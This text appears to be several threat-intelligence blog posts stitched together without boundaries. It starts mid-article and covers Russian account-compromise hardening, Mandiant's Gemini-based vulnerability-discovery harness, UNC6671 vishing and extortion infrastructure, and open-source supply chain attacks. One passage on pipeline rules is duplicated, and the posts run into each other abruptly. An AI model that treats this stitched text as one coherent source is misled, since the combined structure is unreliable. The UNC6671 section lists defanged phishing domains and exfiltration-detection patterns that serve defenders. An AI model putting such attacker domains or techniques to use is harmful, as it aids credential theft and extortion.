In specific scenarios, to protect users from deceptive apps, we display a warning “unverified app” screen before showing users the OAuth consent screen for authentication for unverified, testing mode cloud projects with permissions scopes considered sensitive. 

High-risk users should consider Google’s enhanced security resources such as the Advanced Protection Program (APP). Participation in the APP prevents accounts from creating app passwords due to higher security requirements. Enterprise customers of Google Cloud can disable App Specific Passwords by restricting 2-Step verification to “Only Security Keys” or enrolling users into the Advanced Protection Program. 

Threat actors are continually targeting victim’s personal messaging applications and performing device linking attacks. Organizations and high risk individuals relying on these applications should continue to harden defences by:

• Enforcing registration locks and two factor authentication where possible to prevent an adversary from registering an account via stolen SMS verification codes

• Establish routine device audit checks for “linked devices” on both corporate and personal devices 

• Leverage Safety numbers/codes to validate users via off platform communication channels 

Outlook and Implications

These clusters of Russia’s authentication-focused cyber espionage operations target multiple types of authentication using legitimate features and infrastructure, ranging from app passwords to device linking. In particular, their creative abuse of legitimate features to compromise accounts makes tracking legitimate and malicious account access more challenging. The accounts these groups target are often personal, rather than corporate domain-joined accounts, creating a visibility gap for monitoring compromise from an organizational perspective. The likely use of encrypted messenger applications instead of email for initial outreach also presents a challenge to defenders hoping to track and remediate abuse. The combination of these tactics not only enables the attacker to conduct quick-turnaround exfiltration operations, but also presents opportunities for the attacker to further phish targets of interest from compromised, legitimate accounts. 

The tactics adopted by these actors obfuscate threat actor activity and make attribution more challenging. Although GTIG now tracks more UNC6293-controlled infrastructure than we did in our previous analysis, the volume of infrastructure that they use is still limited in comparison to other Russian espionage operations. UNC7005’s use of MaaS and LLMs to enable malware operations further pushes these operations into attribution and remediation gray areas. These choices also lessen the time needed to develop and stage tooling for operations, enabling fast-turnaround operations with bespoke tools.

As a result of these changes in modus operandi by Russian-state backed attackers, individuals working in the target verticals of these clusters must remain wary of any outreach by unverified, though seemingly familiar or legitimate, personas or organizations. 

Acknowledgements

We would like to thank partners across the industry for their collaboration in helping to track and disrupt parts of these operations, including but not limited to our partners at Anthropic, Black Lotus Labs at Lumen Technologies, Microsoft Threat Intelligence Center (MSTIC), and the Polish Military Counterintelligence Service (SKW) and WhatsApp. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network Indicators

File Indicators

Google Security Operations (SecOps)

Google Security Operations customers with the Enterprise Plus license have access to these rules under the Applied Threat Intelligence - Curated Prioritization rule pack. The activity discussed in the blog post can be detected under the Applied Threat Intelligence (ATI) alerts. These alerts are IoC matches that have been contextualized by YARA-L rules using curated detection. The contextualization leverages Google threat intelligence from Google SecOps context entities, which allows intelligence-driven alert prioritization.

Threat Modeling

A critical first step when using AI for code security analysis is to establish a threat model for the target codebase. Software architectures can vary wildly, and without a threat model, we can lose valuable context, such as attack vectors, business logic, and reachability. 

While traditional source code review engines rely on rigid pattern-matching rules, an LLM offers the distinct advantage of distinguishing code accessible to a standard user from code restricted to an administrator, or code that is never executed at all.

Our pipeline begins by dispatching an Explorer agent to identify the core purpose of the target codebase. This agent determines the software domain (such as web or desktop application), reviews discovered documentation, flags directories to exclude from scanning (such as those containing unit tests), and dispatches Specialist Explorer subagents. 

These Specialist Explorers then delve into their respective focus areas, including authentication, authorization, routing, and other domain-specific categories. Their output is passed to a Threat Model Synthesis agent, which aggregates the findings into a cohesive threat model.

Once this stage of analysis is complete, the consultant is presented with both textual and visual representations of the threat model for verification before analysis continues. This approval gate helps ensure that the rest of the pipeline has an accurate foundation to operate on. 

Figure 3 shows an example layout of a visual threat model generated by the harness, indicating which application components are exposed and how they connect.

Entry Point Discovery

With the threat model established, we deploy parallelized Discovery agents to analyze every in-scope file. These agents use the lightweight Gemini Flash Lite model to process code at scale to extract critical application entry points, such as HTTP routes, inter-process communication (IPC) listeners, and other domain-specific attack vectors. Simultaneously, they isolate and extract all identifiable sources of user input nested in these identified entry points.

Context Enrichment

Once entry points are selected for analysis, the harness assigns each to a dedicated Enrichment agent. In enterprise applications, analyzing an entry point in isolation is rarely sufficient — critical components like sanitizers, permissions, and routing conditions are often highly distributed. 

Furthermore, vulnerabilities frequently hide deep within nested function calls, multiple hops and files away from the initial source. To bridge this gap, the Enrichment agent navigates the codebase to aggregate contextually relevant code for its assigned entry point. It evaluates this aggregated data to determine whether the entry point requires further analysis by the Access Control agent, the Data Flow Analysis agent, or both.

Hypothesis Generation

Effective code analysis hinges on observing two primary properties: control flow and data flow. While control flow dictates the execution order of tasks and instructions, data flow traces how information moves and transforms throughout the application. 

Our AVDH delegates these critical tasks to the Access Control and Data Flow Analysis agents, respectively.

At this stage, these agents perform minimal self-validation. Their primary objective is expansive brainstorming. To manage the sheer volume of hypotheses produced, this creative process is kept in check by a Confidence Filter configured by the consultant.

The Access Control agent evaluates the protections surrounding the target entry point to determine its overall accessibility to application users. Its primary purpose is to validate security assumptions, and confirm whether privileged functionality is restricted or inadvertently exposed to unauthorized users. This analysis exposes flaws where a check was never made, or made against the wrong identity, including missing authorization, privilege escalation, and cross-site request forgery (CSRF).

Meanwhile, the Data Flow Analysis agent tracks the flow of user input from the initial entry point throughout the entire application. It traces data as it traverses nested function calls, sanitizer transformations, and storage boundaries like databases. 

The agent's goal is to determine if this user-supplied data ever reaches a dangerous "sink," a function where malicious input could execute and cause harm. This deep tracing unearths vulnerability classes such as SQL injection, cross-site scripting (XSS), command injection, and path traversal.

Hypothesis Validation

Once hypotheses are generated for the target codebase, our harness dispatches a new set of agents to validate them. In LLMs, the temperature parameter dictates the variability and randomness of the output: lower temperatures yield predictable, stable responses, while higher values can produce radically different results each time. 

Our harness uses this by dispatching multiple Validation agents configured with high temperature settings to assess each hypothesis, alongside a single Validation Synthesis agent tasked with processing their verdicts to make a final decision. Using a higher temperature enables our validation to cover a much broader spectrum of possibilities rather than more predictable, expected responses. Ultimately, this temperature configuration provides richer, more comprehensive context for the agent making the final determination. 

The Synthesis agent evaluates the reasoning and verdicts from the Validation agents to determine if the hypothesis meets our rigorous quality criteria and aligns with the overall threat model. From here, there are three possible outcomes:

• Confirmed finding: The hypothesis is robust, and the Validation agents have independently verified it.

• Disproven hypothesis: The Validation agents surface significant conflicting evidence disputing the validity of the flaw.

• Rejected hypothesis: The hypothesis does not align with the established threat model, or does not qualify as a vulnerability.

Human Subject-Matter Expertise

Expert Validation

Once the harness deduplicates and risk-rates the confirmed findings, we continue the analysis with rigorous human expert review. We perform due diligence by dynamically replicating the exploitation and executing Proof-of-Concept (POC) code to verify that the AI assumptions are accurate and that no unseen compensating controls hinder the attack path.

Once validated, the consultant synthesizes the AI-generated finding with their own expert analysis and prepares it for formal disclosure. Conversely, any findings that fail to pass this dynamic testing phase are discarded. 

We encourage network defenders considering implementing similar vulnerability discovery harnesses to manually validate findings.

Distilled Knowledge

While human-in-the-loop validation of confirmed findings effectively minimizes false positives, we still need to address false negatives. 

To determine if the AI agents had missed any vulnerabilities, we engineered a rules-based approach that directly injects Mandiant subject-matter expertise into the analysis pipeline. It uses highly-specialized prompts distilled from our consultants' collective knowledge, similar to the skills engineering concept.

Integrating this human intelligence directly into our AI-driven analysis significantly elevates the precision of the results. To ensure this knowledge system remains modular and scalable, we structured it as a hierarchy with the software domain at the top, followed by three primary rule categories: language, framework, and vulnerability.

Framework and language rules apply across the entire pipeline, equipping the agents with consultant insights into the specific technologies employed within the target codebase. These rules encompass critical details, such as common entry point definition patterns and unique attack surfaces, with additional contextual information essential for threat modeling.

In contrast, vulnerability rules apply exclusively during the final stages of the pipeline, prescribing precisely how to discover, validate, and risk-rate specific types of vulnerabilities. This structured system ensures the entire analysis pipeline is infused with Mandiant’s human expertise in a maintainable, highly modular way.

Measuring Success

Accurate benchmarking and evaluation are critical to maintaining and continuously improving an agentic code analysis pipeline. We developed a rigorous internal methodology for measuring the performance of our orchestration harness, ensuring that prompt adjustments and rule updates consistently drive positive, data-backed improvements without introducing quality regressions. 

We recommend implementing an analogous benchmarking system to gauge progress and efficacy with your code analysis pipeline. 

Benchmark Targets

While public code vulnerability datasets exist, training data contamination presents a significant challenge for evaluating LLMs. It is possible that modern frontier models have already ingested these public repositories, making it nearly impossible to determine if a model is genuinely reasoning through a vulnerability or simply recalling a memorized solution.

To ensure high-fidelity evaluation, we developed a suite of proprietary, synthetic codebases. These custom benchmarks span software domains, programming languages, vulnerability depths, and architectures, from traditional monoliths to modern microservices. 

Crucially, our security consultants manually verify every injected vulnerability to ensure it is genuinely reachable and dynamically exploitable. As we tune the harness and its underlying prompts, we enforce strict review processes to actively prevent the AI from overfitting to these benchmark codebases.

Benchmark Grading

Our grading process pairs AI evaluation with expert human-in-the-loop review. When our harness analyzes a benchmark directory, the output is passed to a dedicated Grading agent. This grader evaluates the pipeline's findings against our ground-truth dataset, demanding precise vulnerability matches rather than relying on loose semantic similarity.

From there, the grading pipeline branches out to handle edge cases:

• False positive triage: Harness findings that do not map to the ground truth are routed to a secondary agent to definitively classify them as either false positives or legitimate vulnerabilities.

• Duplicate resolution: If the pipeline produces multiple findings that map to a single ground-truth issue, another agent analyzes the cluster to determine whether the findings are duplicates.

Finally, a human expert manually reviews the graded data to validate the accuracy of the AI judges. We perform this rigorous testing cycle across multiple domains and architectures for every major release of the harness, averaging out the results to account for the inherent non-determinism of LLMs.

Framework and language rules apply across the entire pipeline, equipping the agents with consultant insights into the specific technologies employed within the target codebase. These rules encompass critical details, such as common entry point definition patterns and unique attack surfaces, with additional contextual information essential for threat modeling. 

In contrast, vulnerability rules apply exclusively during the final stages of the pipeline, prescribing precisely how to discover, validate, and risk-rate specific types of vulnerabilities. This structured system ensures the entire analysis pipeline is infused with Mandiant’s human expertise in a maintainable, highly modular way.

Conclusion

Securing the software development pipeline has emerged as a defining challenge in modern enterprise defense. Our ongoing research has shown that defenders face extraordinary challenges in responding to the rapidly-growing capabilities of adversarial AI. 

To match these emerging threats, securing the code pipeline must be a critical component of a modern defense strategy. Manual source code review can’t keep pace with AI, and traditional scanning engines consistently miss the broad spectrum of vulnerabilities hidden in modern software.

However, the success of our harness proves defenders can reclaim the advantage against adversarial AI. By embedding frontier models within an expert-defined harness, defenders can automate the discovery of routine vulnerabilities. 

Handling these standard findings transforms source code visibility into a scalable defense, freeing our consultants and other defenders to focus entirely on complex flaws. We believe that the process of building and refining this harness has demonstrated that AI is most effective when deployed as a practical multiplier for human expertise.

While our tool was built for point-in-time assessments and deep, proactive vulnerability discovery, our recent blog post describes how CodeMender complements this by providing continuous, AI-enabled monitoring for software development and vulnerability management. For organizations looking to deploy these capabilities out-of-the-box, Google AI Threat Defense offers an always-on platform. It includes CodeMender’s code scanning and remediation to analyze systems, prioritize threats, patch vulnerabilities, and continuously monitor for new attacks. Combining AVDH for targeted, deep analysis with CodeMender’s ongoing scanning creates a two-layered defense strategy. This approach leverages point-in-time remediation for complex chains while maintaining continuous visibility over the development lifecycle.

Want a deeper look at how we built and deploy this pipeline in real-world environments? Join us at Cyber Defense Summit September 15-16, 2026 in Washington, D.C. where we will be presenting "How Mandiant Orchestrates Gemini to Find Zero-Days Before Adversaries." We will walk through live demonstrations, share lessons learned from deploying agentic workflows, and discuss the future of AI-driven offensive and defensive capabilities. Register for the Summit here.

Written by: Tyler McLellan, Austin Larsen

Introduction

Google Threat Intelligence Group (GTIG) continues to track UNC6671 actively conducting compromises leading to data theft extortion, despite the alleged announced retirement of the BlackFile extortion brand in May 2026. Telemetry and infrastructure analysis reveal that rather than disbanding, UNC6671 has diversified its operations across multiple extortion fronts including Redact, Pink, Helix, and Falcon. 

UNC6671 continues to rely on voice phishing (vishing) to target enterprise employees, posing as IT helpdesk staff facilitating mandatory, urgent security migrations. Significantly, the threat actor often contacts employees via their personal mobile devices. These calls lure victims to spoofed login portals where Adversary-in-the-Middle (AiTM) infrastructure intercepts credentials and multi-factor authentication (MFA) tokens. Once session persistence is established, the actors deploy automated scripts for data exfiltration from enterprise cloud environments, including Microsoft 365 and Okta.

In this update to our May 2026 blog, we detail the infrastructure linkages connecting these extortion brands. We also examine the evolution of UNC6671's targeting including recent activity focused on financial services, private equity, and professional services, and provide hardening guidance to help organizations protect themselves from this threat. 

UNC6671 Associated Extortion Brands 

Across UNC6671 intrusions, the initial access and post-compromise tactics, techniques, and procedures (TTPs) have remained remarkably consistent. These operations uniformly leverage tailored IT helpdesk voice phishing (vishing), AiTM credential harvesting panels, and data theft from SaaS applications. Despite this unified technical baseline, extortion messages have used different branding and victim data stolen during these intrusions has been published across distinct data leak sites (DLS) (Figure 1). While public group communications cited an affiliate breakaway as the rationale for the initial rebranding to Redact, subsequent overlaps in phishing templates, victimology, and shared infrastructure conduits suggests that associated actors have subsequently leveraged the Pink, Helix, and Falcon extortion brands to monetize their operations.

Initial REDACT Rebranding 

On June 27, 2026, the Redact operators published a blog post on their newly established Data Leak Site (DLS) addressing their alleged rebrand away from BlackFile. In the publication, the group claimed that the original BlackFile brand had been compromised and hijacked by an exiled affiliate. According to Redact, this former associate purportedly operated an unauthorized, lookalike DLS and conducted unsanctioned extortion campaigns under their name using unlinked Tox identities. The operators asserted that this rogue affiliate intentionally orchestrated the "shutdown" of the BlackFile brand in May 2026 to sow confusion among threat intelligence analysts and cyber insurance negotiators, thereby damaging the brand's reputation. To distance themselves from BlackFile, the operators stated that they rebranded as Redact, introducing a single verified Tox ID and PGP key to authenticate all future correspondence. Additionally, the post explicitly denied that pressure from the rival groups influenced their rebranding decision.

Shared Infrastructure: Connecting the Phishing Ecosystem

UNC6671 uses credential harvesting panels hosted on generic root domains masquerading as being related to passkeys, appending victim-specific subdomains to facilitate targeted voice phishing campaigns. Monitoring this consistent digital footprint revealed overlaps in specific victim targeting associated with multiple extortion brands. These overlaps support our assessment that a common group of threat actors are affiliated with the BlackFile, Redact, Pink, Helix, and Falcon extortion brands, although other scenarios such as splintered affiliates or shared Phishing-as-a-Service infrastructure may also be plausible. 

Rather than maintaining isolated infrastructure for each target, UNC6671 reuses generic root domains across multiple target organizations, creating a traceable chain between extortion brands:

• Falcon: The root domain passkeyhelpdesk[.]com was used to target at least one organization extorted using the Falcon brand. This same domain was simultaneously used to target an organization extorted using the Helix brand, as well as numerous other companies that we did not observe later posted on a DLS. Additionally, root domains such as portalpasskey[.]com and addssopasskey[.]com targeted organizations extorted by Falcon, while hosting intermediate targets that bridged directly into Helix infrastructure.

• Pink: A subset of unlisted companies were concurrently targeted using additional root domains (such as passkeyms[.]com and mysecurepasskey[.]com), which acted as intermediate bridges to another infrastructure cluster focused on passkeydeploy[.]com. This final domain was simultaneously used to target at least one organization extorted by Pink.

• Helix: The root domain passkeyhelpdesk[.]com directly overlapped targeting between Falcon and Helix. Furthermore, intermediate target organizations bridged additional infrastructure into clusters of subdomains on oskeysync[.]com and keysyncos[.]com. These clusters targeted multiple organizations later listed on the Helix DLS.

• BlackFile: Root domains such as setupsso[.]com and idokta[.]com were used to target an organization extorted using the BlackFile brand. Intermediary target organizations on setupsso[.]com acted as bridges to passkeydeploy[.]com (Pink). Concurrently, passkeyuser[.]com was used to target another BlackFile victim, where intermediate target organizations bridged into passkeyportal[.]com (Helix) and mysecurepasskey[.]com.

Phishing templates

Analysis shows that the same phishing templates were used across all these domains, with identical code and design hosted simultaneously on different websites, including addssopasskey[.]com, createssopasskey[.]com, and passkeyhelpdesk[.]com. For instance, while addssopasskey[.]com was strictly used to target organizations later extorted by Falcon, the identically configured passkeyhelpdesk[.]com domain was simultaneously used to target two entirely separate victims—one of which was claimed by Falcon, and the other by Helix. The widespread deployment of these matching templates to harvest credentials for multiple DLS brands suggests they rely on shared underlying infrastructure.

Evolution of Targeting

UNC6671’s domain registration patterns demonstrate a regular shift in target selection, seemingly towards those that are more likely to hold sensitive information. UNC6671 leverages subdomains that incorporate prospective victim names to host tailored credential harvesting panels. Their root domains mimic enterprise authentication enrollment portals pairing terms as "passkey," "mfa," or "sso" paired with verbs.

Between April and May 2026, we observed domains broadly designed to target mature, large-scale enterprises across multiple industries including the manufacturing, real estate, healthcare, and insurance sectors. During this wave of activity, the threat actors appeared to prioritize high-volume credential harvesting across these established enterprise verticals.

The observed subdomains in the following months appeared to represent a progression in UNC6671’s extortion model. In June 2026, targeting transitioned toward large technology, transportation, and hospitality organizations, seemingly focusing on entities holding valuable intellectual property, software source code, or sensitive VIP client data. By July 2026, the target profile narrowed to focus on the financial and legal sectors, with observed infrastructure directed at private equity firms, law firms, and financial rating agencies. Concentrating on organizations involved in mergers, acquisitions, capital deployment, and litigation may reflect a strategy to target high-value corporate and confidential data to maximize leverage extortion demands.

Comparing these two time periods also illustrates an increase in operational tempo. The volume of newly observed infrastructure was evenly distributed between June 1 and July 31, 2026, establishing an accelerated cadence of approximately one domain every 1.6 days, primarily across Cloudflare and DDOS-GUARD. A brief spike in provisioning also occurred between July 20 and July 22, during which seven domains were operationalized within a 72-hour window. This overall June and July tempo represents a measurable increase from earlier activity observed between April 1 and May 31, 2026, where a set of 28 root domains was provisioned at a less frequent rate of one every 2.2 days.

On the date of publication of this blog, 7 of 8 still resolving phishing domains did not use wildcard DNS indicating that targets discovered through passive DNS data were likely specifically targeted by UNC6671. 

New Techniques 

Since our last blog, the tactics across UNC6671 intrusions have been largely consistent; however, we have observed several new techniques.

IT Helpdesk and Passkey Pretexts

UNC6671 callers have continued to call targeted employees on their personal mobile numbers, circumventing corporate security controls. In at least some recent cases, the threat actor has spoofed the legitimate helpdesk phone number adding an air of legitimacy. During these phone calls, operating under the false pretext of an urgent helpdesk mandate to enable FIDO2 passkeys or update multi-factor authentication enrollment, the caller directs the employee to a lookalike credential-harvesting subdomain (e.g., [company].createssopasskey[.]com or [company].addssopasskey[.]com).

EvasionTechniques

UNC6671 increasingly relies on defense evasion to maintain account-level persistence and conceal its operations. In recent intrusions, the group used compromised email accounts to initiate unauthorized password resets for non-SSO enterprise applications. To prevent end-user detection or automated security alerts, operators systematically deleted password-reset confirmations, secondary security notifications, company-wide security alerts, and any alerts generated during modifications to account security or MFA configurations.

Ransom Negotiations and Blockchain Analysis

Between January 7, 2026, and May 12, 2026, GTIG reviewed 18 BlackFile Bitcoin wallet addresses receiving a total of 141.65 BTC, representing approximately $10.69 million USD at the time of the transactions. Notably, ransom payments to these wallets continued past the publicized Blackfile data leak site shutdown notice on May 11, 2026. Multiple significant cashout events observed in late April and early May confirm that financial operations proceeded without interruption during the rebranding phase.

Initial ransom demands typically range from $1 million to upwards of $3 million USD. However, the extortion operators shifted demands during negotiations, often agreeing to reductions between 50% and 75% of the initial ransom demand. In over 53% of tracked cases in this timeframe, final payments averaged $750,000 USD (~10.2 BTC). 

Remediation and Hardening Guidance

GTIG recommends that corporate defenders implement the following controls to mitigate identity-centric vishing, AiTM phishing, and programmatic SaaS exfiltration:

1. Enforce Phishing-Resistant Multi-factor Authentication: Mandate phishing-resistant authenticators such as FIDO2-compliant roaming security keys, passkeys, and platform authenticators (e.g., Windows Hello for Business, Okta Fastpass) across all SSO environments and enterprise identity providers (IdPs). These authenticators implement WebAuthn standard to enforce cryptographic origin binding between the authenticator and the specific domains it can authenticate to, rendering lookalike domains and AiTM proxies ineffective.

2. Integrate SaaS Applications and Cloud Platforms with SSO: Maintaining authentication standards across multiple platforms increases the propensity for configuration drift. Different SaaS applications require or support different security features. Integrating business-critical applications with a standard SSO platform such as Entra ID or Okta allows consistent application of security controls across disparate platforms.

3. Enforce Session Controls: Reduce session lengths to enforce re-authentication at least once per work day. Enforce idle session timeouts, especially for privileged access. These timeouts can be reduced further during active phishing campaigns. Enforce step-up authentication when accessing critical or sensitive resources. Utilize token theft mitigations within authentication platforms such as IP session binding, Device-Bound Session Credentials, or Continuous Access Evaluation.

4. Restrict Authentication to Trusted Network Sources: Utilize defined network zones coming from known sources such as corporate networks, VPN ranges, and Secure Access Service Edge (SASE) platforms. Define and enforce these ranges within SaaS apps or cloud platforms as well as within authentication policies in Entra ID or Okta.

5. Require Corporate-Managed Devices for Access: Enforcing that authentication comes from a corporate-managed endpoint with MDM and EDR reduces the attack surface and likelihood that an attacker can utilize an arbitrary device for access. Device checks can be configured as part of authentication policies in Entra ID or Okta.

6. Deploy Endpoint and Browser Credential Guarding: Enable Google Workspace Password Alert to trigger automated administrative alerts or resets if corporate password hashes are entered into unauthorized domains. For Microsoft 365 environments, configure Microsoft Defender SmartScreen and Credential Protection to block credential submissions on unverified sites.

7. Monitor IdP Logs for Abandoned Challenge Patterns: Query Okta and Microsoft Entra ID audit logs for MFA registration events (system.multifactor.factor.setup) that are immediately preceded by authentication failures (user.authentication.auth_via_mfa) or abandoned push challenges.

8. Audit UAL Telemetry for Direct Stream Exfiltration: Configure Security Operations Center (SOC) detection pipelines to treat FileAccessed events with the same criticality as FileDownloaded when the UserAgent string identifies a scripting library (python-requests, WindowsPowerShell, Go-http-client) or when the access volume exceeds normal human browsing thresholds.

9. Restrict and Alert on Residential Proxy Authentication: Create conditional access policies and anomaly alerts for SSO authentication attempts originating from commercial VPN providers (Mullvad, Private Layer) or unassociated residential broadband proxy pools (AT&T, Comcast, Charter) that diverge from established employee geographic baselines.

Outlook and Implications

The activity associated with UNC6671 highlights the fluidity of threat actor brands relative to persistent tactics, techniques, and procedures. While the extortion brands associated with this activity continue to multiply, the tradecraft across these operations remains anchored in helpdesk vishing, AiTM session interception, and SaaS exfiltration.

We believe that this most likely reflects a coordinated group of threat actors operating multiple public extortion brands possibly in an effort to compartmentalize operations, hide overall breach volumes, and isolate any negotiation fallout. This assessment is supported by the tight infrastructure overlaps, shared vishing panel deployments, and overlaps in victim targeting observed across BlackFile, Redact, Pink, Helix, and Falcon. However, there are several other scenarios that could explain the broader dynamics across these brands:

• Actor Splintering: Internal rifts, financial disputes, or operational security compromises routinely lead to group fragmentation. Former affiliates or splinter cells retaining access to shared initial access playbooks, panel code, and target lists can easily establish independent extortion fronts while continuing to execute identical TTPs.

• Shared Ecosystem and Panel use: Separate threat groups may simply be leveraging the same commoditized phishing panels, voice-phishing callers, and shared infrastructure. As these AiTM panels and VaaS services become widely available, distinct threat actors can deploy matching infrastructure and pretexts without requiring direct organizational alignment.

• Outsourced Extortion: The intrusion operators driving initial access and cloud data exfiltration could remain the same core group of actors, while the extortion and negotiation phases are outsourced to different actors.

Regardless of whether this activity reflects a fractured threat group, outsourced extortion negotiators, or a broader affiliate network, the initial infection vector leveraged and goals of these campaigns is consistent. Organizations should prioritize phishing-resistant authenticators and behavioral SaaS auditing to disrupt these identity-centric attacks.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have provided indicators of compromise (IOCs) in a free GTI Collection for registered users. At the time of publication, identified phishing domains have been added to Google Safe Browsing.

While this collection provides a comprehensive list of IOCs, defenders should note that the majority of identified IP addresses are commercial VPN nodes, and actual source IPs tend to vary as the actor continuously cycles through new infrastructure. Furthermore, the domains are often stood up and used within minutes of registration; as such, they are provided primarily as examples of past naming conventions and usage patterns rather than as a primary mechanism for real-time blocking.

Written by: Kelli Vanderlee, Stuart Carrera

For years, the cybersecurity industry's understanding of software supply chain compromise has been anchored by a few watershed events, including Russian cyber espionage actor ICE RELIC’s (formerly known as APT29) 2020 compromise of SolarWinds and North Korean cyber espionage actor UNC4736's 2023 compromise of 3CX. However, Google Threat Intelligence Group (GTIG) has been tracking growth in threat activity targeting open source software repositories to conduct supply chain compromises over the past several years. A series of large scale open source software supply chain compromise campaigns in 2025 and the first half of 2026 underscore how important it is that organizations implement defensive strategies that directly address this threat vector. 

In this blog post, GTIG and Mandiant discuss trends we have observed in threat actor use of software supply chain compromise, and provide mitigation and hardening recommendations that incorporate insights we have developed as a result of supporting customers through recent campaigns in which threat actors manipulated open source packages. 

Open Source Supply Chain Compromise Grows in Volume and Impact in 2025 and Early 2026

The majority of the most impactful and far-reaching supply chain compromise incidents that GTIG tracked in 2025 and early 2026 involved the compromise of code repositories, software dependencies and developer tools (T1195.001). Open source supply chain compromises offer attackers the same efficiency, scale, and initial stealth as traditional supply chain compromises, but typically require significantly less planning and resources to execute. However, open source supply chain compromises are also noisy once enabled; malicious open source packages are often discovered and publicized much more quickly than traditional supply chain compromises. 

GTIG assesses with high confidence that the growth in very large-scale, open-source supply chain compromise campaigns, including use of worms and iterative compromises in 2025 and early 2026, represent a significant expansion in use of this tactic compared to prior years. We anticipate that threat actors will emulate the tactics of these campaigns and contribute to growth in open-source supply chain compromise through the rest of 2026 and years to come. GTIG identified several notable supply chain compromises in 2025 and early 2026 that we believe exemplify this trend of exceptionally large campaigns, as measured by size and/or impact (Figure 1). 

For example from February to May 2026, UNC6780 (aka "TeamPCP") conducted extensive open source supply chain compromises targeting ecosystems like PyPI, npm, and Docker Hub. Initial infection vectors varied across incidents, and included abuse of the pull_request_target GitHub Actions trigger to obtain base repository secrets and write permissions. The threat actor typically used compromised packages to deploy credential stealers, including SANDCLOCK, to obtain high value secrets. In incident response engagements, we observed UNC6780 attempting to pivot from compromised artificial intelligence (AI) software to broader network environments. UNC6780 has monetized stolen credentials through either direct sale of the stolen data, or through partnerships with ransomware and data theft extortion groups. 

In March 2026, GTIG observed the introduction of a malicious dependency in the legitimate axios package. GTIG analysis and the maintainer's post mortem indicate that the maintainer account was compromised via social engineering and used to publish the updated versions. We identified the malicious dependency as a dropper that deploys the WAVESHAPER.V2 backdoor, and attributes the activity to North Korean actor MIDNIGHT NEPTUNE (formerly known as UNC1069). While the malicious versions of axios were removed from the npm registry within three hours of their release, the scope of the compromise is estimated to be broad, as the package has over 100 million weekly downloads. GTIG supported customers in at least 15 industry verticals and 13 different countries affected by this incident. Further, axios is also a dependency for tens of thousands of other packages, and open sources reported that the malicious axios update had spread to several of these.

AI Likely to Accelerate Open Source Supply Chain Compromises

GTIG anticipates AI will accelerate the growth of open source software supply chain compromise. Integration of AI into open source software development practices, including "vibe coding," increases attacker opportunities both to manipulate AI functionalities and to take advantage of AI to speed and scale their own operational planning. Open sources have documented multiple instances of threat actors planting malicious resources on open source AI communities and inserting malicious code into open source Model Context Protocol (MCP) packages. MCP is a standardized protocol for AI to interact with tools and data. Malicious packages have also tricked AI coding agents, which have unwittingly incorporated them into projects. North Korean threat actors reportedly uploaded malicious cryptocurrency-themed packages, and subsequently an AI coding agent co-authored a commit integrating one of the malicious packages as a dependency to a legitimate cryptocurrency trading project. 

Thousands of Malicious Open Source Packages Detected

Corroborating GTIG's findings, statistics compiled by the Open Source Security Foundation (OpenSSF), a cross-industry, non-profit collaboration under the Linux Foundation, indicate that the number of malicious open source software packages identified increased exponentially, or 1,444% from 2024 to 2025 (Figure 2).

Traditional Supply Chain Compromise Remains Rare

In contrast to what we observed in the open source ecosystem, GTIG assesses with high confidence that traditional software supply chain compromise, the manipulation of source code or update/distribution mechanisms (T1195.002), remains rare. The handful of identified cases in 2025 and early 2026 were predominantly cyber espionage incidents with intentionally limited targeting scopes. 

In the most significant case, North Korean threat actor UNC4899 reportedly used social engineering to compromise a developer's machine at a web3 organization. The threat actor used this access to inject malicious code into the frontend systems, specifically impacting smart contract functionality to alter transactions initiated by a third party organization that utilized the multi-signature wallet with the targeted organization. This compromise was tailored to a single victim, but did not directly touch the targeted organization's infrastructure. The compromise ultimately led to a cryptocurrency theft of assets with an estimated value of $1.4B USD.

Other examples include the compromise of hosting infrastructure serving updates of Notepad++ from June to December 2025, activity GTIG attributes to UNC6688. GTIG observed organizations in South Korea and France affected by this activity.  GTIG also tracked the early 2026 compromise of DAEMON Tools installers. During this campaign, UNC6863 deployed SLICKDEMON to perform broad-spectrum reconnaissance and filter for targets of strategic interest. Following this profiling stage, the group selectively delivered the shellcoded loader BADFALL to facilitate hands-on-keyboard activity and bridge the deployment of the advanced QUIC RAT. The campaign targeted Russia, Brazil, and Turkey, with follow-on exploitation of government and scientific entities in Belarus and Thailand.

In addition to likely cyber espionage incidents, we observed suspected financially motivated compromises with broader distribution. In two separate incidents threat actors compromised underlying software used in consumer-facing websites: in one case, automotive dealership websites served ClickFix lures leading to the installation of SHADOWLADDER (aka SectopRAT), and in another, eCommerce websites were infected with web skimmers.

Mitigation Recommendations

To effectively mitigate and harden against software supply chain compromises, organizations should adopt a multi-tiered defensive strategy designed to minimize exposure and strengthen resilience against potential compromises.

Administrative Oversight and Risk Governance

• Cataloging Assets and Dependencies: Maintain a tiered, continuous inventory of all applications, third-party vendors, and services based on operational importance to detect single points of failure and security risks.

• Software Bill of Materials (SBOM): Implement an automated SBOM for all internal and third-party software packages, allowing security teams to continuously monitor and cross-reference active code inventories against newly disclosed vulnerabilities.

• Action Bill of Materials (ABOM): Maintain a dedicated ABOM to inventory every third-party pipeline vendor and development utility in use, linking it to your container image inventory to track exactly which external actions are building your production images.

• Software Development Lifecycle (SDLC) Threat Modeling and Attack Chain Mapping (Wiz SITF): Align your software supply chain risk management with capabilities such as the Wiz SDLC Infrastructure Threat Framework (SITF) to transition from treating security as a checklist of isolated controls to a holistic threat model. With this freely available framework, organizations can map recent incidents, threat actor campaigns, and red team exercises directly to Wiz SITF Reference IDs indexing each risk to its specific lifecycle stage: Version Control Systems (VCS), continuous integration and continuous delivery (CI/CD) pipelines, package registries, or production infrastructure. This methodology allows security teams to model complex "attack chains" where minor, isolated weaknesses (e.g., a lockfile bypass combined with an overprivileged pipeline token) are chained together by sophisticated threat actors to execute critical, high-impact breaches

• Active Risk Monitoring:  Maintain a dedicated supply chain risk register and a centralized remediation tracker to systematically group development lifecycle (SDLC) threats into clear operational domains: Governance, Identity, Pipeline Logic, and Supply Chain Hygiene. If using Wiz SITF, each vulnerability must be mapped to its exact pipeline stage with a unique Wiz SITF Reference ID. Instead of treating vulnerabilities as isolated bugs, prioritize the blocking of complex "attack chains" (such as a leaked token combined with missing branch protections and overprivileged OIDC trust) that pose the highest breach risk. Ensure each logged item has a designated owner, a targeted completion date, and clear tracking of technical dependencies.

